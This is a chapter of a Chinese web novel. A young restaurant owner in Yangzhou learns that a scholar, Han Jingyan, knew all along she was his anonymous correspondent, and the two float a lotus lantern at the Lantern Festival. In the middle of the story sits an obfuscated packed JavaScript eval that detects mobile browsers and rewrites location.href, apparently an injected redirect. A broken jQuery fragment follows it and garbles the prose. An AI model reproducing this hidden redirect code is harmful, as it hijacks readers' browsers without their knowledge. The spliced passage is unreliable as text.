梁照儿鼓着眼睛,眼里是不可置信。她扭过身道:“谁要你替我做。”
沈度倏尔笑了,他一笑便露出正正好好八颗牙齿,“你忘了,我不是你聘来的伙计吗?”
“伙计也不好被欺负的呀。”梁照儿一听这话,“扑哧”一声笑了,“这样么,以后若再有这种事你捡七次,我捡三次好啦。”
沈度观她笑起来总是先皱起鼻子,像一只振翅欲飞的蝴蝶先收紧了翅膀。看着是副精明泼辣的模样,接触的深了却发现这人是个略带稚气的......笨蛋。
这里的“笨蛋”是个褒义词,实则是赞耀她赤子心肠。
他笑着哄那笨蛋开心:“为何我比你多四次?”
梁照儿勾了勾脚尖,骄傲道:“自然是因为我供你吃穿,给你发工钱囖,你可不得孝敬着。”
她的脾气总是来得快去得也快,转眼间又恢复了斗志满满的模样,一路小跑着下了楼。沈度跟在她身后看着她笑着摆弄店里头的事,也被感染了几分。
天渐渐暗了,正是灯光满城中,宝辇隘通衢的时候。本朝不设宵禁,夜市行人如织,往来食客颇多,如意馆一楼坐得满满当当。
不少食客都来如意馆中点些茶点小食叙话。燕环和采荞也相约着来了,梁照儿许久未见采荞也很欢喜,连忙给她们寻了个空桌。
采荞叹道:“哎呀呀,如今当真是大变样了,我当从外头走来这里开了家新店呢!”
梁照儿佯装生气道:“你可是金贵,千请万请都不肯出来,若是常来便不觉得了。”
“好了,来都来了麽,你就别说她了。人家哪里同我们这些孤零零一人过活的,难舍的下她男人。”燕环促狭道。
采荞一听这话又羞又愤,伸手便要拧燕环的嘴。
梁照儿笑着说:“要用些甚么,快说来。”
燕环躲过采荞的大手,喘着气说:“那么就来两道你们这的招牌菜呀,李瘸子天天瞧不上这个也瞧不上那个的,倒叫我们尝尝他的手艺。”
“蟹酿橙和蟹粉狮子头一样来一份囖?”
采荞连忙拦道:“只要一道蟹粉狮子头给这馋痨胚,我就不要了,只要一盅阿胶粥便是了。”
燕环不悦道:“好端端地出来,吃也不能吃,喝也不能喝。”
采荞抚着小腹,眼底闪着失望与担忧,“郎中说了要多吃些温经暖宫的吃食才好有孕,我家官人也十七八了,村里这般年纪的男人孩子都能下地打酱油了,我也没给他添个一儿半女。”
燕环着实不解:“十七八就得有儿子,他怎么不说十七八就该考取功名,领着一家老小过上好日子呢?”
采荞连忙让燕环住嘴,她道:“不好说这些话的呀。”
燕环更费解,她不知为何采荞生的牛高马大的却如此惧怕她家男人。燕环要是她,自家男人和婆婆要是敢这般骑到自己脖子上来,直接连两个人一起收拾了。一巴掌扇两个,省时省力。
再早些,在采荞还小的时候,她确实是有过反抗的。人么,哪有一开始就麻木的。可那时候她婆婆正当壮年,她一个丫头片子哪里拗得过?这么一来二去了几次,采荞也就逆来顺受了,不逆来顺受也没办法麽,没饭吃的滋味深深地刻在了她的骨血里。
大约同动物园里捕来的老虎和狮子一般,再放回野外便失去了猎食的能力。
梁照儿见状连忙打着圆场道:“都有的,来了只管尝尝。”
她转身回厨房帮着料理,才做了片刻,玉梳便打了帘子进来唤她:“前头韩郎君身边的立文来了,说是有要事寻你。”
“没说甚么事?”梁照儿问道。
玉梳摇摇头,“这倒没说,你去问问罢,外头事忙我先出去了。”
梁照儿随手用围裙抹了一把手,又将围裙解下放在一边,急急忙忙地捉裙朝外头去。立文见了她也没过多言语,只叫她跟着来。
二人穿过熙熙攘攘的人群,走了好一阵,梁照儿被一个卖香糖果子的货郎重重地踩了一脚,皱着眉头蹲下身擦去绣鞋,压下心中的不悦道:“立文小哥,这是要去哪,好歹先知会一声。”
她心里还记挂着如意馆里头的生意,心中有些焦急。一个人影笼在她前头,她一动,那人也跟着动。梁照儿抬头不耐烦道:“这位郎君,没瞧着这里有人在麽,好端端地何故挡人去路?”
面前戴着魁头傩面具的男人轻轻一笑,“起来吧。”
他伸出半只袖子,示意梁照儿抓住袖子借力起身。
梁照儿将脸一撇,自己撑地一个打挺站起身来,她拍拍手道:“阁下若是行事坦荡的君子,为何不敢以真面目示人?”
韩景彦将面具取下,露出一半俊面道:“你既可以不以真面目示人,为何我不可?”
梁照儿一顿,讪笑着说:“原是韩郎君,您说这些话奴倒不懂了,食肆里头事忙,您若是没要紧的事奴就先回去了。”
她正欲逃走,却不想右脚踩到裙摆跌了一跤。梁照儿心中气愤,都怪古时候衣服做成这模样,禁锢了她的行动范围。
见自己脸要正对着地面摔下,梁照儿连忙用手捂住面庞,她可不想毁容。可过了好几秒,预期中的疼痛感却未传来,她才缓缓松开手朝后头一望。
韩景彦拉住了她。
梁照儿尴尬地扯了个笑容,又说:“多谢郎君救我。”
说起来她倒没怎么同韩景彦单独见过面,除了书信往来二人现实生活中倒没怎么说过话,故而梁照儿此刻也不知以何种方式同他相处。
韩景彦松开抓住她后背的手,悠然道:“平日里在信中倒要比如今会言语些,你说是么,大娘?”
梁照儿双脚忍不住扣地,此情此景堪比在光天化日之下被人大喊自己的网名,还有什么比这更尴尬的?她讷讷道:“嗳……这…不是……”
顶着韩景彦探究的目光,梁照儿败下阵来,认命说:“你是什么时候发觉的?”
什么时候发觉的?韩景彦挑了挑眉。
说来倒有许久了。
起初他倒没有怀疑,只当扬州城里能人异士和汴京城的一样多,毕竟宋厨娘做的鱼羹也风靡汴京。后来渐渐的倒觉得有些蹊跷,他也是见过关大娘的,关大娘讲话的习惯同回信中那人的并不一致,尽管回信之人刻意模仿着大娘们平日里讲话的口癖,还八卦地催婚。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401541|168708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让他确信的契机还是因为大黄印下的一串狗爪子。韩景彦无声地笑了笑,“大约是在建隆寺罢。”
梁照儿懊恼地拍了拍头,想来定是那日带了萝卜丝油墩子去,他们一问吃食有关的,自己便忍不住噼里啪啦地说上一通。
失策!
“郎君既然早知,又为何……”梁照儿低着头说。
韩景彦双手交叉放在身前,笑盈盈地探头去瞧她,“就许你骗我,也不许我诓诓你?”
其实不光他知道,宝绮也是知道的。宝绮也曾疑惑,为何不打开天窗说亮话,韩景彦却摇了摇头。
原本他们之间只是谈谈吃食,后来渐渐熟悉了,韩景彦也时常向梁照儿倾吐一些苦恼,大约是父母的期望太重或是不知读书有何用处云云。
若换了旁人,必定是吹捧他一番,再添上几句不油不盐的话。可梁照儿不同,她借机骂他,说他身在福中不知福,说他吃饱了撑的。若是不肯过这样的好日子,便去跟城外的流民、灾民换换。她又说读书是为了让百姓们过上好日子,不是来无病呻吟的。
韩景彦觉得自己大约是疯了,或许是前半辈子过得太顺风顺水,他竟觉得这些骂他的话十分中听。
若是一切都被赤裸裸地撕开,他怕因着他的身份,她再不肯和自己说这些话了。
他走近一步,“今日元宵节,不如去放盏花灯?”
韩景彦从身后拿出一盏荷花灯,梁照儿讶然,方才她明明没瞧见他手里提着东西,也不知是从哪变出来的。
她道:“韩郎君就是为了这个让立文将人火急火燎地喊来不成?奴倒没这个闲心,且有做不完的活等着呢。”
韩景彦辩驳说:“既做不完,那等等又何妨?”
梁照儿一想也是,正好自己许久也未逛过夜市庙会,也好去瞧瞧便轻声应下,“也是,不过还是得早些回去。”
二人并肩踏过石拱桥,步入河岸边。岸边挤着不少郎君娘子正等着放花灯,说来元宵节也是难得的让有情人光明正大相会的节日。
韩景彦看梁照儿望得出神,正准备说些什么,却听她说:“早知这么多人在,应该支个摊子在这卖花灯才是,肯定能赚不少银子。”
“……”
前头的人群渐渐散了些,二人朝前去了几步,梁照儿俯身将荷花灯放进水中,用指节轻轻一推,将它推的更远些。
看着越飘越远的荷花灯,梁照儿侧头看向韩景彦问道:“为什么是荷花?还没到夏天呢。”
韩景彦对上她闪烁的眸子,“等我去了汴京,便看不见扬州的荷花开。”
他又补充说:“听说邵伯湖的菡萏实乃一绝,若不观之倒可惜了。本想与你……和宝绮一同去瞧,今日也算瞧过了。”
沈度刚跑上石桥,往下一望便瞧见这二人叙话。他在如意馆里忙得一塌糊涂,被玉梳赶出来瞧瞧梁照儿怎得还未回,不料却看见这般场景。
他气得满脸铁青,飞身上树,蹲在树上瞧着河边二人。
只听见一阵微风拂过树梢,梁照儿说:“确实可惜,不如奴做一篮子荷花糕到时候郎君带着上京,也算看过了。”